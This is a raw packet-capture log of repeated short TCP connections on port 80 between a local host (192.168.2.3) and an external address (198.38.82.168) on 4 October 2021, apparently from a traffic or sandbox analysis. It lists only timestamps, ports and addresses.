Oct 4, 2021 16:04:09.673743963 CEST	80	50206	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.772726059 CEST	80	50205	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.772913933 CEST	80	50205	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.773169994 CEST	50205	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:09.961471081 CEST	80	50206	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.961498022 CEST	80	50206	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:09.962655067 CEST	50206	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.038366079 CEST	50207	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.153321981 CEST	80	50207	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.153469086 CEST	50207	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.153758049 CEST	50207	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.153887033 CEST	50207	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.216212034 CEST	50208	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.268290997 CEST	80	50207	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.307693005 CEST	80	50207	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.333909988 CEST	80	50208	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.334103107 CEST	50208	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.334379911 CEST	50208	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.334501028 CEST	50208	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.451849937 CEST	80	50208	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.492429018 CEST	80	50208	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.610320091 CEST	80	50207	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.610450983 CEST	80	50207	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.610903978 CEST	50207	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.792984009 CEST	80	50208	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.793126106 CEST	80	50208	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:10.793329000 CEST	50208	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:10.840208054 CEST	50209	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.001157045 CEST	80	50209	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.001291037 CEST	50209	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.001580954 CEST	50209	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.001707077 CEST	50209	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.003449917 CEST	50210	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.118864059 CEST	80	50210	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.119041920 CEST	50210	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.119358063 CEST	50210	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.119509935 CEST	50210	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.161717892 CEST	80	50209	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.202153921 CEST	80	50209	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.234894037 CEST	80	50210	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.274703026 CEST	80	50210	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.560416937 CEST	80	50210	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.560749054 CEST	80	50210	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.560862064 CEST	50210	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.593907118 CEST	80	50209	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.594044924 CEST	80	50209	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.594126940 CEST	50209	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.778908014 CEST	50211	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.821221113 CEST	50212	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.894155025 CEST	80	50211	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.894350052 CEST	50211	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.894623041 CEST	50211	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.894768000 CEST	50211	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.977648973 CEST	80	50212	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:11.977782965 CEST	50212	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.978151083 CEST	50212	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:11.978332996 CEST	50212	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.009161949 CEST	80	50211	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.048779964 CEST	80	50211	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.134119987 CEST	80	50212	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.174211979 CEST	80	50212	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.336735964 CEST	80	50211	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.337102890 CEST	80	50211	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.337167978 CEST	50211	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.459753990 CEST	80	50212	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.459958076 CEST	80	50212	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.460045099 CEST	50212	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.558362961 CEST	50213	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.677113056 CEST	50214	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.717617989 CEST	80	50213	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.717762947 CEST	50213	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.717978954 CEST	50213	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.718050003 CEST	50213	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.833375931 CEST	80	50214	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.835882902 CEST	50214	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.836112976 CEST	50214	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.836206913 CEST	50214	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:12.877147913 CEST	80	50213	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.917268991 CEST	80	50213	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:12.992217064 CEST	80	50214	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.032171965 CEST	80	50214	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.217262983 CEST	80	50213	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.217310905 CEST	80	50213	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.217428923 CEST	50213	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.321877003 CEST	80	50214	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.322092056 CEST	80	50214	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.322187901 CEST	50214	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.530688047 CEST	50215	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.560028076 CEST	50216	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.648315907 CEST	80	50215	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.648490906 CEST	50215	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.648828030 CEST	50215	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.648948908 CEST	50215	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.716133118 CEST	80	50216	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.716258049 CEST	50216	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.716526031 CEST	50216	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.716671944 CEST	50216	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:13.766226053 CEST	80	50215	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.805649996 CEST	80	50215	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.872513056 CEST	80	50216	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:13.912154913 CEST	80	50216	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.089345932 CEST	80	50215	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.089464903 CEST	80	50215	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.089617968 CEST	50215	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.198388100 CEST	80	50216	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.198575974 CEST	80	50216	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.198893070 CEST	50216	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.374218941 CEST	50217	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.433031082 CEST	50218	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.489175081 CEST	80	50217	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.489435911 CEST	50217	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.489674091 CEST	50217	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.489783049 CEST	50217	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.590766907 CEST	80	50218	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.590931892 CEST	50218	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.604263067 CEST	80	50217	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.605051041 CEST	50218	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.605608940 CEST	50218	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:14.643774986 CEST	80	50217	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.761687994 CEST	80	50218	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.801289082 CEST	80	50218	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.939779043 CEST	80	50217	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.940032959 CEST	80	50217	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:14.940129995 CEST	50217	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.116565943 CEST	80	50218	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.116724968 CEST	80	50218	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.116797924 CEST	50218	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.189019918 CEST	50219	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.307236910 CEST	80	50219	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.307446003 CEST	50219	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.307585001 CEST	50219	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.307693958 CEST	50219	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.338152885 CEST	50220	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.426351070 CEST	80	50219	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.464802980 CEST	80	50219	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.494358063 CEST	80	50220	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.494478941 CEST	50220	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.494626999 CEST	50220	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.494679928 CEST	50220	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:15.652870893 CEST	80	50220	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.690130949 CEST	80	50220	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.855623960 CEST	80	50219	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.855798006 CEST	80	50219	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:15.855863094 CEST	50219	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.066495895 CEST	80	50220	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.066673040 CEST	80	50220	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.066832066 CEST	50220	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.116323948 CEST	50221	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.231040001 CEST	80	50221	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.231293917 CEST	50221	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.231609106 CEST	50221	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.231780052 CEST	50221	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.302617073 CEST	50222	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.346185923 CEST	80	50221	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.385607958 CEST	80	50221	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.420195103 CEST	80	50222	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.420403004 CEST	50222	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.420674086 CEST	50222	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.420778036 CEST	50222	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.537975073 CEST	80	50222	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.578597069 CEST	80	50222	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.718364954 CEST	80	50221	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.718432903 CEST	80	50221	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.718673944 CEST	50221	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:16.881581068 CEST	80	50222	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.881726027 CEST	80	50222	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:16.881855011 CEST	50222	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.005183935 CEST	50223	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.093424082 CEST	50224	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.120048046 CEST	80	50223	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.120213032 CEST	50223	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.120508909 CEST	50223	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.120660067 CEST	50223	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.211421013 CEST	80	50224	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.211575985 CEST	50224	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.211781025 CEST	50224	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.211864948 CEST	50224	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.235409975 CEST	80	50223	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.274889946 CEST	80	50223	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.329221010 CEST	80	50224	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.369740963 CEST	80	50224	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.567080975 CEST	80	50223	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.567266941 CEST	80	50223	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.567348003 CEST	50223	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.656434059 CEST	80	50224	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.656467915 CEST	80	50224	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.656651020 CEST	50224	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.804553986 CEST	50225	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.900008917 CEST	50226	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.960762978 CEST	80	50225	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:17.960942984 CEST	50225	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.961231947 CEST	50225	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:17.961839914 CEST	50225	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.056519032 CEST	80	50226	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.056740046 CEST	50226	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.057090998 CEST	50226	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.057301044 CEST	50226	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.118786097 CEST	80	50225	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.158349991 CEST	80	50225	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.213135958 CEST	80	50226	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.254832029 CEST	80	50226	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.466846943 CEST	80	50225	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.466912985 CEST	80	50225	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.467061043 CEST	50225	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.537420988 CEST	80	50226	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.537446976 CEST	80	50226	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.537678003 CEST	50226	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.781068087 CEST	50227	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.805154085 CEST	50228	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.923250914 CEST	80	50228	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.923496008 CEST	50228	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.923863888 CEST	50228	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.923990965 CEST	50228	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.940903902 CEST	80	50227	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:18.941078901 CEST	50227	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.941242933 CEST	50227	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:18.941297054 CEST	50227	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.041714907 CEST	80	50228	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.081876993 CEST	80	50228	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.102611065 CEST	80	50227	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.140959978 CEST	80	50227	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.455528975 CEST	80	50228	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.455571890 CEST	80	50228	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.457482100 CEST	50228	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.481004953 CEST	80	50227	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.484091043 CEST	80	50227	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.484282017 CEST	50227	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.707005024 CEST	50229	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.781657934 CEST	50230	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.864928007 CEST	80	50229	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.865343094 CEST	50229	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.865504980 CEST	50229	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.865571976 CEST	50229	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.940241098 CEST	80	50230	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:19.940562010 CEST	50230	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.940891027 CEST	50230	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:19.941082954 CEST	50230	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.022252083 CEST	80	50229	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.061237097 CEST	80	50229	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.098810911 CEST	80	50230	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.137419939 CEST	80	50230	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.348197937 CEST	80	50229	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.348225117 CEST	80	50229	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.348361969 CEST	50229	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.448796034 CEST	80	50230	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.448820114 CEST	80	50230	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.448928118 CEST	50230	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.590220928 CEST	50231	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.707981110 CEST	50232	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.708964109 CEST	80	50231	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.709105968 CEST	50231	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.709340096 CEST	50231	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.709435940 CEST	50231	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.829850912 CEST	80	50231	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.864229918 CEST	80	50232	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:20.864979982 CEST	50232	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.865004063 CEST	50232	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.865008116 CEST	50232	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:20.866657972 CEST	80	50231	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.021903038 CEST	80	50232	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.062277079 CEST	80	50232	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.143918991 CEST	80	50231	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.143959999 CEST	80	50231	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.144275904 CEST	50231	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.370321989 CEST	80	50232	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.370364904 CEST	80	50232	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.370592117 CEST	50232	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.518156052 CEST	50233	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.632441998 CEST	50234	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.636049032 CEST	80	50233	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.636197090 CEST	50233	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.636387110 CEST	50233	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.636470079 CEST	50233	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.751303911 CEST	80	50234	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.751466036 CEST	50234	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.751631975 CEST	50234	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.751681089 CEST	50234	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:21.756397963 CEST	80	50233	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.796405077 CEST	80	50233	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.870332003 CEST	80	50234	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:21.909998894 CEST	80	50234	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.071691036 CEST	80	50233	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.071737051 CEST	80	50233	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.071805954 CEST	50233	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.247225046 CEST	80	50234	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.247284889 CEST	80	50234	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.247347116 CEST	50234	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.285358906 CEST	50235	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.409337997 CEST	50236	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.448506117 CEST	80	50235	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.448625088 CEST	50235	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.448786020 CEST	50235	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.448884010 CEST	50235	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.566278934 CEST	80	50236	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.566425085 CEST	50236	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.566576958 CEST	50236	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.566620111 CEST	50236	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:22.608711004 CEST	80	50235	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.647303104 CEST	80	50235	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.727233887 CEST	80	50236	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:22.762371063 CEST	80	50236	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.119052887 CEST	80	50235	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.119101048 CEST	80	50235	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.119183064 CEST	80	50236	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.119220972 CEST	80	50236	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.119476080 CEST	50236	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:23.121809006 CEST	50235	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:23.295838118 CEST	80	50235	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.295922041 CEST	50235	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:23.384536028 CEST	50237	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:23.455715895 CEST	80	50235	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.541896105 CEST	80	50237	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.542030096 CEST	50237	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:23.542210102 CEST	50237	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:23.542268038 CEST	50237	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:23.698501110 CEST	80	50237	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.738373041 CEST	80	50237	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:23.841780901 CEST	50238	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:24.014827967 CEST	80	50238	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:24.015153885 CEST	50238	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:24.044929981 CEST	80	50237	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:24.044965982 CEST	80	50237	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:24.045118093 CEST	50237	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.009114027 CEST	50238	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.009157896 CEST	50238	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.208357096 CEST	80	50238	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.324407101 CEST	50239	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.480670929 CEST	80	50239	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.480829954 CEST	50239	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.481257915 CEST	50239	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.481441975 CEST	50239	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.486064911 CEST	80	50238	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.486084938 CEST	80	50238	198.38.82.168	192.168.2.3
